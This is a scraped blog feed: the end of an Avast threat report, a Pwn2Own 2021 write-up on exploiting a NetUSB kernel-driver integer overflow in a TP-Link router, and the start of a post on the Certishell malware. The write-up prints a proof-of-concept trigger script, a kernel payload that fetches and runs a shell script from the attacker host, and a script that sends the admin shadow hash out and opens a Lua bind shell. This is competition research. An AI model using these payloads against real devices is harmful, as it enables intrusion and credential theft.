  • Jakub Vávra
  • Jan Holman
  • Jan Rubín
  • Ladislav Zezula
  • Luigino Camastra
  • Martin Chlumecký
  • Martin Hron
  • Ondřej David
  • Pavel Novák
  • Pavlína Kopecká
  • Samuel Sidor
  • Vladimir Martyanov
  • Vladimír Žalud
Data analysts
  • Pavol Plaskoň
Communications
  • Dave Matthews
  • Stefanie Smith

The post Avast Q1/2022 Threat Report appeared first on Avast Threat Labs.

Competing in Pwn2Own 2021 Austin: Icarus at the Zenith

Introduction

In 2021, I finally spent some time looking at a consumer router I had been using for years. It started as a weekend project to look at something a bit different from what I was used to. On top of that, it was also a good occasion to play with new tools, learn new things.

I downloaded Ghidra, grabbed a firmware update and started to reverse-engineer various MIPS binaries that were running on my NETGEAR DGND3700v2 device. I quickly was pretty horrified with what I found and wrote Longue vue 🔭 over the weekend which was a lot of fun (maybe a story for next time?). The security was such a joke that I threw the router away the next day and ordered a new one. I just couldn't believe this had been sitting in my network for several years. Ugh 😞.

Anyways, I eventually received a brand new TP-Link router and started to look into that as well. I was pleased to see that code quality was much better and I was slowly grinding through the code after work. Eventually, in May 2021, the Pwn2Own 2021 Austin contest was announced where routers, printers and phones were available targets. Exciting. Participating in that kind of competition has always been on my TODO list and I convinced myself for the longest time that I didn't have what it takes to participate 😅.

This time was different though. I decided I would commit and invest the time to focus on a target and see what happens. It couldn't hurt. On top of that, a few friends of mine were also interested and motivated to break some code, so that's what we did. In this blogpost, I'll walk you through the journey to prepare and enter the competition with the mofoffensive team.

Target selections

At this point, @pwning_me, @chillbro4201 and I are motivated and chatting hard on discord. The end goal for us is to participate to the contest and after taking a look at the contest's rules, the path of least resistance seems to be targeting a router. We had a bit more experience with them, the hardware was easy and cheap to get so it felt like the right choice.

router targets

At least, that's what we thought was the path of least resistance. After attending the contest, maybe printers were at least as soft but with a higher payout. But whatever, we weren't in it for the money so we focused on the router category and stuck with it.

Out of the 5 candidates, we decided to focus on the consumer devices because we assumed they would be softer. On top of that, I had a little bit of experience looking at TP-Link, and somebody in the group was familiar with NETGEAR routers. So those were the two targets we chose, and off we went: logged on Amazon and ordered the hardware to get started. That was exciting.

The TP-Link AC1750 Smart Wi-Fi router arrived at my place and I started to get going. But where to start? Well, the best thing to do in those situations is to get a root shell on the device. It doesn't really matter how you get it, you just want one to be able to figure out what are the interesting attack surfaces to look at.

As mentioned in the introduction, while playing with my own TP-Link router in the months prior to this I had found a post auth vulnerability that allowed me to execute shell commands. Although this was useless from an attacker perspective, it would be useful to get a shell on the device and bootstrap the research. Unfortunately, the target wasn't vulnerable and so I needed to find another way.

Oh also. Fun fact: I actually initially ordered the wrong router. It turns out TP-Link sells two line of products that look very similar: the A7 and the C7. I bought the former but needed the latter for the contest, yikers 🤦🏽‍♂️. Special thanks to Cody for letting me know 😅!

Getting a shell on the target

After reverse-engineering the web server for a few days, looking for low hanging fruits and not finding any, I realized that I needed to find another way to get a shell on the device.

After googling a bit, I found an article written by my countrymen: Pwn2own Tokyo 2020: Defeating the TP-Link AC1750 by @0xMitsurugi and @swapg. The article described how they compromised the router at Pwn2Own Tokyo in 2020 but it also described how they got a shell on the device, great 🙏🏽. The issue is that I really have no hardware experience whatsoever. None.

But fortunately, I have pretty cool friends. I pinged my boy @bsmtiam, he recommended to order a FT232 USB cable and so I did. I received the hardware shortly after and swung by his place. He took apart the router, put it on a bench and started to get to work.

After a few tries, he successfully soldered the UART. We hooked up the FT232 USB Cable to the router board and plugged it into my laptop:

Using Python and the minicom library, we were finally able to drop into an interactive root shell 💥:

Amazing. To celebrate this small victory, we went off to grab a burger and a beer 🍻 at the local pub. Good day, this day.

Enumerating the attack surfaces

It was time for me to figure out which areas I should try to focus my time on. I did a bunch of reading as this router has been targeted multiple times over the years at Pwn2Own. I figured it might be a good thing to try to break new grounds to lower the chance of entering the competition with a duplicate and also maximize my chances at finding something that would allow me to enter the competition. Before thinking about duplicates, I need a bug.

I started to do some very basic attack surface enumeration: processes running, iptable rules, sockets listening, crontable, etc. Nothing fancy.

# ./busybox-mips netstat -platue
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:33344           0.0.0.0:*               LISTEN      -
tcp        0      0 localhost:20002         0.0.0.0:*               LISTEN      4877/tmpServer
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:www             0.0.0.0:*               LISTEN      4940/uhttpd
tcp        0      0 0.0.0.0:domain          0.0.0.0:*               LISTEN      4377/dnsmasq
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      5075/dropbear
tcp        0      0 0.0.0.0:https           0.0.0.0:*               LISTEN      4940/uhttpd
tcp        0      0 :::domain               :::*                    LISTEN      4377/dnsmasq
tcp        0      0 :::ssh                  :::*                    LISTEN      5075/dropbear
udp        0      0 0.0.0.0:20002           0.0.0.0:*                           4878/tdpServer
udp        0      0 0.0.0.0:domain          0.0.0.0:*                           4377/dnsmasq
udp        0      0 0.0.0.0:bootps          0.0.0.0:*                           4377/dnsmasq
udp        0      0 0.0.0.0:54480           0.0.0.0:*                           -
udp        0      0 0.0.0.0:42998           0.0.0.0:*                           5883/conn-indicator
udp        0      0 :::domain               :::*                                4377/dnsmasq

At first sight, the following processes looked interesting: - the uhttpd HTTP server, - the third-party dnsmasq service that potentially could be unpatched to upstream bugs (unlikely?), - the tdpServer which was popped back in 2021 and was a vector for a vuln exploited in sync-server.

Chasing ghosts

Because I was familiar with how the uhttpd HTTP server worked on my home router I figured I would at least spend a few days looking at the one running on the target router. The HTTP server is able to run and invoke Lua extensions and that's where I figured bugs could be: command injections, etc. But interestingly enough, all the existing public Lua tooling failed at analyzing those extensions which was both frustrating and puzzling. Long story short, it seems like the Lua runtime used on the router has been modified such that the opcode table appears shuffled. As a result, the compiled extensions would break all the public tools because the opcodes wouldn't match. Silly. I eventually managed to decompile some of those extensions and found one bug but it probably was useless from an attacker perspective. It was time to move on as I didn't feel there was enough potential for me to find something interesting there.

One another thing I burned time on is to go through the GPL code archive that TP-Link published for this router: ArcherC7V5.tar.bz2. Because of licensing, TP-Link has to (?) 'maintain' an archive containing the GPL code they are using on the device. I figured it could be a good way to figure out if dnsmasq was properly patched to recent vulns that have been published in the past years. It looked like some vulns weren't patched, but the disassembly showed different 😔. Dead-end.

NetUSB shenanigans

There were two strange lines in the netstat output from above that did stand out to me:

tcp        0      0 0.0.0.0:33344           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      -

Why is there no process name associated with those sockets uh 🤔? Well, it turns out that after googling and looking around those sockets are opened by a... wait for it... kernel module. It sounded pretty crazy to me and it was also the first time I saw this. Kinda exciting though.

This NetUSB.ko kernel module is actually a piece of software written by the KCodes company to do USB over IP. The other wild stuff is that I remembered seeing this same module on my NETGEAR router. Weird. After googling around, it was also not a surprise to see that multiple vulnerabilities were discovered and exploited in the past and that indeed TP-Link was not the only router to ship this module.

Although I didn't think it would be likely for me to find something interesting in there, I still invested time to look into it and get a feel for it. After a few days reverse-engineering this statically, it definitely looked much more complex than I initially thought and so I decided to stick with it for a bit longer.

After grinding through it for a while things started to make sense: I had reverse-engineered some important structures and was able to follow the untrusted inputs deeper in the code. After enumerating a lot of places where the attacker inputs is parsed and used, I found this one spot where I could overflow an integer in arithmetic fed to an allocation function:

void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
{
  // ...
  result = (void *)SoftwareBus_fillBuf(SbusConnection, v64, 4);
  if(result) {
    v64[0] = _bswapw(v64[0]); <----------------------- attacker controlled
    Payload_1 = mallocPageBuf(v64[0] + 9, 0xD0); <---- overflow
    if(Payload_1) {
      // ...
      if(SoftwareBus_fillBuf(SbusConnection, Payload_1 + 2, v64[0]))

I first thought this was going to lead to a wild overflow type of bug because the code would try to read a very large number of bytes into this buffer but I still went ahead and crafted a PoC. That's when I realized that I was wrong. Looking carefuly, the SoftwareBus_fillBuf function is actually defined as follows:

int SoftwareBus_fillBuf(SbusConnection_t *SbusConnection, void *Buffer, int BufferLen) {
  if(SbusConnection)
    if(Buffer) {
      if(BufferLen) {
        while (1) {
          GetLen = KTCP_get(SbusConnection, SbusConnection->ClientSocket, Buffer, BufferLen);
          if ( GetLen <= 0 )
            break;
          BufferLen -= GetLen;
          Buffer = (char *)Buffer + GetLen;
          if ( !BufferLen )
            return 1;
        }
        kc_printf("INFO%04X: _fillBuf(): len = %d\n", 1275, GetLen);
        return 0;
      }
      else {
        return 1;
      }
    } else {
      // ...
      return 0;
    }
  }
  else {
    // ...
    return 0;
  }
}

KTCP_get is basically a wrapper around ks_recv, which basically means an attacker can force the function to return without reading the whole BufferLen amount of bytes. This meant that I could force an allocation of a small buffer and overflow it with as much data I wanted. If you are interested to learn on how to trigger this code path in the first place, please check how the handshake works in zenith-poc.py or you can also read CVE-2021-45608 | NetUSB RCE Flaw in Millions of End User Routers from @maxpl0it. The below code can trigger the above vulnerability:

from Crypto.Cipher import AES
import socket
import struct
import argparse

le8 = lambda i: struct.pack('=B', i)
le32 = lambda i: struct.pack('<I', i)

netusb_port = 20005

def send_handshake(s, aes_ctx):
  # Version
  s.send(b'\x56\x04')
  # Send random data
  s.send(aes_ctx.encrypt(b'a' * 16))
  _ = s.recv(16)
  # Receive & send back the random numbers.
  challenge = s.recv(16)
  s.send(aes_ctx.encrypt(challenge))

def send_bus_name(s, name):
  length = len(name)
  assert length - 1 < 63
  s.send(le32(length))
  b = name
  if type(name) == str:
    b = bytes(name, 'ascii')
  s.send(b)

def create_connection(target, port, name):
  second_aes_k = bytes.fromhex('5c130b59d26242649ed488382d5eaecc')
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((target, port))
  aes_ctx = AES.new(second_aes_k, AES.MODE_ECB)
  send_handshake(s, aes_ctx)
  send_bus_name(s, name)
  return s, aes_ctx

def main():
  parser = argparse.ArgumentParser('Zenith PoC2')
  parser.add_argument('--target', required = True)
  args = parser.parse_args()
  s, _ = create_connection(args.target, netusb_port, 'PoC2')
  s.send(le8(0xff))
  s.send(le8(0x21))
  s.send(le32(0xff_ff_ff_ff))
  p = b'\xab' * (0x1_000 * 100)
  s.send(p)

Another interesting detail was that the allocation function is mallocPageBuf which I didn't know about. After looking into its implementation, it eventually calls into _get_free_pages which is part of the Linux kernel. _get_free_pages allocates 2**n number of pages, and is implemented using what is called, a Binary Buddy Allocator. I wasn't familiar with that kind of allocator, and ended-up kind of fascinated by it. You can read about it in Chapter 6: Physical Page Allocation if you want to know more.

Wow ok, so maybe I could do something useful with this bug. Still a long shot, but based on my understanding the bug would give me full control over the content and I was able to overflow the pages with pretty much as much data as I wanted. The only thing that I couldn't fully control was the size passed to the allocation. The only limitation was that I could only trigger a mallocPageBuf call with a size in the following interval: [0, 8] because of the integer overflow. mallocPageBuf aligns the passed size to the next power of two, and calculates the order (n in 2**n) to invoke _get_free_pages.

Another good thing going for me was that the kernel didn't have KASLR, and I also noticed that the kernel did its best to keep running even when encountering access violations or whatnot. It wouldn't crash and reboot at the first hiccup on the road but instead try to run until it couldn't anymore. Sweet.

I also eventually discovered that the driver was leaking kernel addresses over the network. In the above snippet, kc_printf is invoked with diagnostic / debug strings. Looking at its code, I realized the strings are actually sent over the network on a different port. I figured this could also be helpful for both synchronization and leaking some allocations made by the driver.

int kc_printf(const char *a1, ...) {
  // ...
  v1 = vsprintf(v6, a1);
  v2 = v1 < 257;
  v3 = v1 + 1;
  if(!v2) {
    v6[256] = 0;
    v3 = 257;
  }
  v5 = v3;
  kc_dbgD_send(&v5, v3 + 4); // <-- send over socket
  return printk("<1>%s", v6);
}

Pretty funny right?

Booting NetUSB in QEMU

Although I had a root shell on the device, I wasn't able to debug the kernel or the driver's code. This made it very hard to even think about exploiting this vulnerability. On top of that, I am a complete Linux noob so this lack of introspections wasn't going to work. What are my options?

Well, as I mentioned earlier TP-Link is maintaining a GPL archive which has information on the Linux version they use, the patches they apply and supposedly everything necessary to build a kernel. I thought that was extremely nice of them and that it should give me a good starting point to be able to debug this driver under QEMU. I knew this wouldn't give me the most precise simulation environment but, at the same time, it would be a vast improvement with my current situation. I would be able to hook-up GDB, inspect the allocator state, and hopefully make progress.

Turns out this was much harder than I thought. I started by trying to build the kernel via the GPL archive. In appearance, everything is there and a simple make should just work. But that didn't cut it. It took me weeks to actually get it to compile (right dependencies, patching bits here and there, ...), but I eventually did it. I had to try a bunch of toolchain versions, fix random files that would lead to errors on my Linux distribution, etc. To be honest I mostly forgot all the details here but I remember it being painful. If you are interested, I have zipped up the filesystem of this VM and you can find it here: wheezy-openwrt-ath.tar.xz.

I thought this was the end of my suffering but it was in fact not it. At all. The built kernel wouldn't boot in QEMU and would hang at boot time. I tried to understand what was going on, but it looked related to the emulated hardware and I was honestly out of my depth. I decided to look at the problem from a different angle. Instead, I downloaded a Linux MIPS QEMU image from aurel32's website that was booting just fine, and decided that I would try to merge both of the kernel configurations until I end up with a bootable image that has a configuration as close as possible from the kernel running on the device. Same kernel version, allocators, same drivers, etc. At least similar enough to be able to load the NetUSB.ko driver.

Again, because I am a complete Linux noob I failed to really see the complexity there. So I got started on this journey where I must have compiled easily 100+ kernels until being able to load and execute the NetUSB.ko driver in QEMU. The main challenge that I failed to see was that in Linux land, configuration flags can change the size of internal structures. This means that if you are trying to run a driver A on kernel B, the driver A might mistake a structure to be of size C when it is in fact of size D. That's exactly what happened. Starting the driver in this QEMU image led to a ton of random crashes that I couldn't really explain at first. So I followed multiple rabbit holes until realizing that my kernel configuration was just not in agreement with what the driver expected. For example, the net_device defined below shows that its definition varies depending on kernel configuration options being on or off: CONFIG_WIRELESS_EXT, CONFIG_VLAN_8021Q, CONFIG_NET_DSA, CONFIG_SYSFS, CONFIG_RPS, CONFIG_RFS_ACCEL, etc. But that's not all. Any types used by this structure can do the same which means that looking at the main definition of a structure is not enough.

struct net_device {
// ...
#ifdef CONFIG_WIRELESS_EXT
  /* List of functions to handle Wireless Extensions (instead of ioctl).
   * See <net/iw_handler.h> for details. Jean II */
  const struct iw_handler_def * wireless_handlers;
  /* Instance data managed by the core of Wireless Extensions. */
  struct iw_public_data * wireless_data;
#endif
// ...
#if IS_ENABLED(CONFIG_VLAN_8021Q)
  struct vlan_info __rcu  *vlan_info; /* VLAN info */
#endif
#if IS_ENABLED(CONFIG_NET_DSA)
  struct dsa_switch_tree  *dsa_ptr; /* dsa specific data */
#endif
// ...
#ifdef CONFIG_SYSFS
  struct kset   *queues_kset;
#endif

#ifdef CONFIG_RPS
  struct netdev_rx_queue  *_rx;

  /* Number of RX queues allocated at register_netdev() time */
  unsigned int    num_rx_queues;

  /* Number of RX queues currently active in device */
  unsigned int    real_num_rx_queues;

#ifdef CONFIG_RFS_ACCEL
  /* CPU reverse-mapping for RX completion interrupts, indexed
   * by RX queue number.  Assigned by driver.  This must only be
   * set if the ndo_rx_flow_steer operation is defined. */
  struct cpu_rmap   *rx_cpu_rmap;
#endif
#endif
//...
};

Once I figured that out, I went through a pretty lengthy process of trial and error. I would start the driver, get information about the crash and try to look at the code / structures involved and see if a kernel configuration option would impact the layout of a relevant structure. From there, I could see the difference between the kernel configuration for my bootable QEMU image and the kernel I had built from the GPL and see where were mismatches. If there was one, I could simply turn the option on or off, recompile and hope that it doesn't make the kernel unbootable under QEMU.

After at least 136 compilations (the number of times I found make ARCH=mips in one of my .bash_history 😅) and an enormous amount of frustration, I eventually built a Linux kernel version able to run NetUSB.ko 😲:

over@panther:~/pwn2own$ qemu-system-mips -m 128M -nographic -append "root=/dev/sda1 mem=128M" -kernel linux338.vmlinux.elf -M malta -cpu 74Kf -s -hda debian_wheezy_mips_standard.qcow2 -net nic,netdev=network0 -netdev user,id=network0,hostfwd=tcp:127.0.0.1:20005-10.0.2.15:20005,hostfwd=tcp:127.0.0.1:33344-10.0.2.15:33344,hostfwd=tcp:127.0.0.1:31337-10.0.2.15:31337
[...]
root@debian-mips:~# ./start.sh
[   89.092000] new slab @ 86964000
[   89.108000] kcg 333 :GPL NetUSB up!
[   89.240000] NetUSB: module license 'Proprietary' taints kernel.
[   89.240000] Disabling lock debugging due to kernel taint
[   89.268000] kc   90 : run_telnetDBGDServer start
[   89.272000] kc  227 : init_DebugD end
[   89.272000] INFO17F8: NetUSB 1.02.69, 00030308 : Jun 11 2015 18:15:00
[   89.272000] INFO17FA: 7437: Archer C7    :Archer C7
[   89.272000] INFO17FB:  AUTH ISOC
[   89.272000] INFO17FC:  filterAudio
[   89.272000] usbcore: registered new interface driver KC NetUSB General Driver
[   89.276000] INFO0145:  init proc : PAGE_SIZE 4096
[   89.280000] INFO16EC:  infomap 869c6e38
[   89.280000] INFO16EF:  sleep to wait eth0 to wake up
[   89.280000] INFO15BF: tcpConnector() started... : eth0
NetUSB 160207 0 - Live 0x869c0000 (P)
GPL_NetUSB 3409 1 NetUSB, Live 0x8694f000
root@debian-mips:~# [   92.308000] INFO1572: Bind to eth0

For the readers that would like to do the same, here are some technical details that they might find useful (I probably forgot most of the other ones): - I used debootstrap to easily be able to install older Linux distributions until one worked fine with package dependencies, older libc, etc. I used a Debian Wheezy (7.11) distribution to build the GPL code from TP-Link as well as cross-compiling the kernel. I uploaded archives of those two systems: wheezy-openwrt-ath.tar.xz and wheezy-compile-kernel.tar.xz. You should be able to extract those on a regular Ubuntu Intel x64 VM and chroot in those folders and SHOULD be able to reproduce what I described. Or at least, be very close from reproducing. - I cross compiled the kernel using the following toolchain: toolchain-mips_r2_gcc-4.6-linaro_uClibc-0.9.33.2 (gcc (Linaro GCC 4.6-2012.02) 4.6.3 20120201 (prerelease)). I used the following command to compile the kernel: $ make ARCH=mips CROSS_COMPILE=/home/toolchain-mips_r2_gcc-4.6-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux- -j8 vmlinux. You can find the toolchain in wheezy-openwrt-ath.tar.xz which is downloaded / compiled from the GPL code, or you can grab the binaries directly off wheezy-compile-kernel.tar.xz. - You can find the command line I used to start QEMU in start_qemu.sh and dbg.sh to attach GDB to the kernel.

Enters Zenith

Once I was able to attach GDB to the kernel I finally had an environment where I could get as much introspection as I needed. Note that because of all the modifications I had done to the kernel config, I didn't really know if it would be possible to port the exploit to the real target. But I also didn't have an exploit at the time, so I figured this would be another problem to solve later if I even get there.

I started to read a lot of code, documentation and papers about Linux kernel exploitation. The linux kernel version was old enough that it didn't have a bunch of more recent mitigations. This gave me some hope. I spent quite a bit of time trying to exploit the overflow from above. In Exploiting the Linux kernel via packet sockets Andrey Konovalov describes in details an attack that looked like could work for the bug I had found. Also, read the article as it is both well written and fascinating. The overall idea is that kmalloc internally uses the buddy allocator to get pages off the kernel and as a result, we might be able to place the buddy page that we can overflow right before pages used to store a kmalloc slab. If I remember correctly, my strategy was to drain the order 0 freelist (blocks of memory that are 0x1000 bytes) which would force blocks from the higher order to be broken down to feed the freelist. I imagined that a block from the order 1 freelist could be broken into 2 chunks of 0x1000 which would mean I could get a 0x1000 block adjacent to another 0x1000 block that could be now used by a kmalloc-1024 slab. I struggled and tried a lot of things and never managed to pull it off. I remember the bug had a few annoying things I hadn't realized when finding it, but I am sure a more experienced Linux kernel hacker could have written an exploit for this bug.

I thought, oh well. Maybe there's something better. Maybe I should focus on looking for a similar bug but in a kmalloc'd region as I wouldn't have to deal with the same problems as above. I would still need to worry about being able to place the buffer adjacent to a juicy corruption target though. After looking around for a bit longer I found another integer overflow:

void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
{
  // ...
  switch (OpcodeMasked) {
    case 0x50:
        if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) {
          ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer);
            AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208);
            if (!AllocatedBuffer) {
                return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296);
            }
  // ...
            if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize))

Cool. But at this point, I was a bit out of my depth. I was able to overflow kmalloc-128 but didn't really know what type of useful objects I would be able to put there from over the network. After a bunch of trial and error I started to notice that if I was taking a small pause after the allocation of the buffer but before overflowing it, an interesting structure would be magically allocated fairly close from my buffer. To this day, I haven't fully debugged where it exactly came from but as this was my only lead I went along with it.

The target kernel doesn't have ASLR and doesn't have NX, so my exploit is able to hardcode addresses and execute the heap directly which was nice. I can also place arbitrary data in the heap using the various allocation functions I had reverse-engineered earlier. For example, triggering a 3MB large allocation always returned a fixed address where I could stage content. To get this address, I simply patched the driver binary to output the address on the real device after the allocation as I couldn't debug it.

# (gdb) x/10dwx 0xffffffff8522a000
# 0x8522a000:     0xff510000      0x1000ffff      0xffff4433      0x22110000
# 0x8522a010:     0x0000000d      0x0000000d      0x0000000d      0x0000000d
# 0x8522a020:     0x0000000d      0x0000000d
addr_payload = 0x83c00000 + 0x10

# ...

def main(stdscr):
  # ...
  # Let's get to business.
  _3mb = 3 * 1_024 * 1_024
  payload_sprayer = SprayerThread(args.target, 'payload sprayer')
  payload_sprayer.set_length(_3mb)
  payload_sprayer.set_spray_content(payload)
  payload_sprayer.start()
  leaker.wait_for_one()
  sprayers.append(payload_sprayer)
  log(f'Payload placed @ {hex(addr_payload)}')
  y += 1

My final exploit, Zenith, overflows an adjacent wait_queue_head_t.head.next structure that is placed by the socket stack of the Linux kernel with the address of a crafted wait_queue_entry_t under my control (Trasher class in the exploit code). This is the definition of the structure:

struct wait_queue_head {
  spinlock_t    lock;
  struct list_head  head;
};

struct wait_queue_entry {
  unsigned int    flags;
  void      *private;
  wait_queue_func_t func;
  struct list_head  entry;
};

This structure has a function pointer, func, that I use to hijack the execution and redirect the flow to a fixed location, in a large kernel heap chunk where I previously staged the payload (0x83c00000 in the exploit code). The function invoking the func function pointer is __wake_up_common and you can see its code below:

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
      int nr_exclusive, int wake_flags, void *key)
{
  wait_queue_t *curr, *next;

  list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
    unsigned flags = curr->flags;

    if (curr->func(curr, mode, wake_flags, key) &&
        (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
      break;
  }
}

This is what it looks like in GDB once q->head.next/prev has been corrupted:

(gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00

(gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff

(gdb) c
Continuing.
sock_recvmsg(dst=0xffffffff85173390)

Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
3375    kernel/sched/core.c: No such file or directory.

(gdb) p *q
$1 = {lock = {{rlock = {raw_lock = {<No data fields>}}}}, task_list = {next = 0xdeadbee1,
    prev = 0xbaadc0d1}}

(gdb) bt
#0  __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
#1  0x80141ea8 in __wake_up_sync_key (q=<optimized out>, mode=<optimized out>,
    nr_exclusive=<optimized out>, key=<optimized out>) at kernel/sched/core.c:3450
#2  0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964
#3  tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736
#4  0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226
#5  0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341
#6  0x803c50c8 in pcnet32_rx_entry (entry=<optimized out>, rxp=0xa0c04060, lp=0x87d08c00,
    dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199
#7  pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212
#8  pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324
#9  0x8040dab0 in net_rx_action (h=<optimized out>) at net/core/dev.c:3944
#10 0x801244ec in __do_softirq () at kernel/softirq.c:244
#11 0x80124708 in do_softirq () at kernel/softirq.c:293
#12 do_softirq () at kernel/softirq.c:280
#13 0x80124948 in invoke_softirq () at kernel/softirq.c:337
#14 irq_exit () at kernel/softirq.c:356
#15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34

Once the func pointer is invoked, I get control over the execution flow and I execute a simple kernel payload that leverages call_usermodehelper_setup / call_usermodehelper_exec to execute user mode commands as root. It pulls a shell script off a listening HTTP server on the attacker machine and executes it.

arg0: .asciiz "/bin/sh"
arg1: .asciiz "-c"
arg2: .asciiz "wget http://{ip_local}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh"
argv: .word arg0
      .word arg1
      .word arg2
envp: .word 0

The pwn.sh shell script simply leaks the admin's shadow hash, and opens a bindshell (cheers to Thomas Chauchefoin and Kevin Denis for the Lua oneliner) the attacker can connect to (if the kernel hasn't crashed yet 😳):

#!/bin/sh
export LPORT=31337
wget http://{ip_local}:8000/pwd?$(grep -E admin: /etc/shadow)
lua -e 'local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'

The exploit also uses the debug interface that I mentioned earlier as it leaks kernel-mode pointers and is overall useful for basic synchronization (cf the Leaker class).

OK at that point, it works in QEMU... which is pretty wild. Never thought it would. Ever. What's also wild is that I am still in time for the Pwn2Own registration, so maybe this is also possible 🤔. Reliability wise, it worked well enough on the QEMU environment: about 3 times about 5 I would say. Good enough.

I started to port over the exploit to the real device and to my surprise it also worked there as well. The reliability was poorer but I was impressed that it still worked. Crazy. Especially with both the hardware and the kernel being different! As I still wasn't able to debug the target's kernel I was left with dmesg outputs to try to make things better. Tweak the spray here and there, try to go faster or slower; trying to find a magic combination. In the end, I didn't find anything magic; the exploit was unreliable but hey I only needed it to land once on stage 😅. This is what it looks like when the stars align 💥:

Beautiful. Time to register!

Entering the contest

As the contest was fully remote (bummer!) because of COVID-19, contestants needed to provide exploits and documentation prior to the contest. Fully remote meant that the ZDI stuff would throw our exploits on the environment they had set-up.

At that point we had two exploits and that's what we registered for. Right after receiving confirmation from ZDI, I noticed that TP-Link pushed an update for the router 😳. I thought Damn. I was at work when I saw the news and was stressed about the bug getting killed. Or worried that the update could have changed anything that my exploit was relying on: the kernel, etc. I finished my day at work and pulled down the firmware from the website. I checked the release notes while the archive was downloading but it didn't have any hints suggesting that they had updated either NetUSB or the kernel which was.. good. I extracted the file off the firmware file with binwalk and quickly verified the NetUSB.ko file. I grabbed a hash and ... it was the same. Wow. What a relief 😮‍💨.

When the time of demonstrating my exploit came, it unfortunately didn't land in the three attempts which was a bit frustrating. Although it was frustrating, I knew from the beginning that my odds weren't the best entering the contest. I remembered that I originally didn't even think that I'd be able to compete and so I took this experience as a win on its own.

On the bright side, my teammates were real pros and landed their exploits which was awesome to see 🍾🏆.

Wrapping up

Participating in Pwn2Own had been on my todo list for the longest time so seeing that it could be done felt great. I also learned a lot of lessons while doing it:

  • Attacking the kernel might be cool, but it is an absolute pain to debug / set-up an environment. I probably would not go that route again if I was doing it again.
  • Vendor patching bugs at the last minute can be stressful and is really not fun. My teammate got their first exploit killed by an update which was annoying. Fortunately, they were able to find another vulnerability and this one stayed alive.
  • Getting a root shell on the device ASAP is a good idea. I initially tried to find a post auth vulnerability statically to get a root shell but that was wasted time.
  • The Ghidra disassembler decompiles MIPS32 code pretty well. It wasn't perfect but a net positive.
  • I also realized later that the same driver was running on the Netgear router and was reachable from the WAN port. I wasn't in it for the money but maybe it would be good for me to do a better job at taking a look at more than a target instead of directly diving deep into one exclusively.
  • The ZDI team is awesome. They are rooting for you and want you to win. No, really. Don't hesitate to reach out to them with questions.
  • Higher payouts don't necessarily mean a harder target.

You can find all the code and scripts in the zenith Github repository. If you want to read more about NetUSB here are a few more references:

I hope you enjoyed the post and I'll see you next time 😊! Special thanks to my boi yrp604 for coming up with the title and thanks again to both yrp604 and __x86 for proofreading this article 🙏🏽.

Oh, and come hangout on Diary of reverse-engineering's Discord server with us!

Warez users fell for Certishell

21 April 2022 at 15:09

Research of this malware family began when I found a malicious task starting powershell code directly from a registry key within our user base.  I wasn’t expecting the surprise I’d arrived at when I began tracking its origins. Living in a smaller country, Czech Republic, it is a rare sight to see someone exclusively targeting the local Czech/Slovak audience. The threat actor seems to have been creating malware since 2015 and appears to be from Slovakia. The bad actor’s repertoire contains a few RATs, some packers for cryptominers and, almost obligatorily, ransomware, and I have named the malware family Certishell. This person’s malware is spread with illegal copies of songs and movies and with alleged cracks and keygens of games and common tools (GTA SA, Mafia, Avast, Microsoft Office) that were hosted on one of the most popular Czech and Slovak file-sharing services uloz.to.

The Ceritshell family can be split into three different parts. 

  1. RAT with a C&C server sivpici.php5[.]sk (Czech/Slovak slang for “you are fucked up”), which has AutoIT, C++ and Go versions.
  2. Miner downloaded from hacked websites and started with the script que.vbs from the task. 
  3. Miner or ransomware downloaded from hacked websites and launched from a powershell command hidden in registry keys. The command from the registry key is started with the task from the picture above.

The map above shows the risk ratio of users around who were at risk of encountering one of the malware families

Sivpici.php5.sk (2015-2018)

The oldest part of the family is a simple RAT with sivpici.php5[.]sk as the C&C server. It places all the needed files in the folder .win inside of the user folder. 

The malware installer comes disguised as one of the following:

  • Cracked software, such as FixmyPC,
  • Fraud apps, like SteamCDKeys that share Steam keys,
